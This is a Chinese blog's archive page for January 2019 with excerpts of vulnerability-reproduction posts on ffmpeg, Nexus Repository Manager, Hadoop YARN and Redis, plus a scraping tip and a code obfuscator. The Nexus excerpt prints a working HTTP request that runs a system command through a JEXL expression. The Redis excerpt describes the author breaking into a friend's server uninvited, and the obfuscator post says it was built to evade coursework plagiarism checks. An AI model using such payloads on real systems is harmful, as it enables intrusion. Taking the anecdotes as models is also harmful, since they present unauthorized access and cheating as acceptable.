Archive1月 2019

CVE-2016-1897/8 ffmpeg任意文件读取/SSRF漏洞复现

FFmpeg是我前段时间分析某视频网站加密的时候了解到的,功能非常强大。是视频处理最常用的开源软件,用途广泛,大量用于视频网站和商业软件(比如 Youtube 和 iTunes),也是许多音频和视频格式的标准编码/解码实现。在FFMpeg2.X 由于在解析HTTP Live Streaming流媒体m3u8文件处理不当,可导致SSRF漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用FFMpeg进行处理时会触发该漏洞。 阅读更多

爬虫小trick分享:插件一键禁用网站js

在学习爬虫的过程中经常会使用xpath来抓取页面元素,而我们是通过浏览器的开发者工具来获得xpath路径的。但是有的时候会遇到一个问题,在我们都可以获取到数据的情况下,通过浏览器获取的xpath路径是经过js渲染之后得到的。但通过requests库抓取的页面是未渲染的,前后的dom节点会有所变化,xpath也不同,这样就很麻烦。无意间发现了一个插件可以任意开关网站的js,非常方便。

阅读更多

CVE-2019-7238 Nexus Repository Manager 3 远程命令执行漏洞复现

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。

访问http://your-ip:8081即可看到Web页面。

使用账号密码admin:admin123登录后台,然后在maven-releases下随便上传一个jar包

触发该漏洞,必须保证仓库里至少有一个包存在。

POST /service/extdirect HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

可见,/tmp/success已成功执行:

原理是expression位置的JEXL表达式被执行.

利用classloader加载字节码即可获得回显:

Hadoop Yarn REST API未授权漏洞复现

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。
我还是用的vulhub的环境,但为了避免漏洞本身8088被扫描攻击,我就改到了其他端口。

阅读更多

Redis 未授权访问漏洞 复现

因为昨天恰好看到了一些以前关于redis漏洞的文章,想起蒋大佬前段时间也在学习redis。我记得他是在服务器上装了redis的。所以就顺手测了一下他的redis,果不其然没设密码。所以就直接把我的ssh公钥写了进去,顺利的把他的服务器给搞到手了,美滋滋。所以就将这个Redis未授权访问漏洞复现了一遍。

阅读更多

分享一个自己写的C++代码混淆工具(附源码)

本来写这个工具的想法是绕过我们专业的专周数据结构的作业查重,因为我本身不会C++,但是直接copy别人的代码会被查重而且也没什么技术含量,所以我就用python写了一个混淆代码的脚本,成功给绕过去了。写完之后发现这个混淆工具其实还蛮不错的,所以就想把他分享给大家。

阅读更多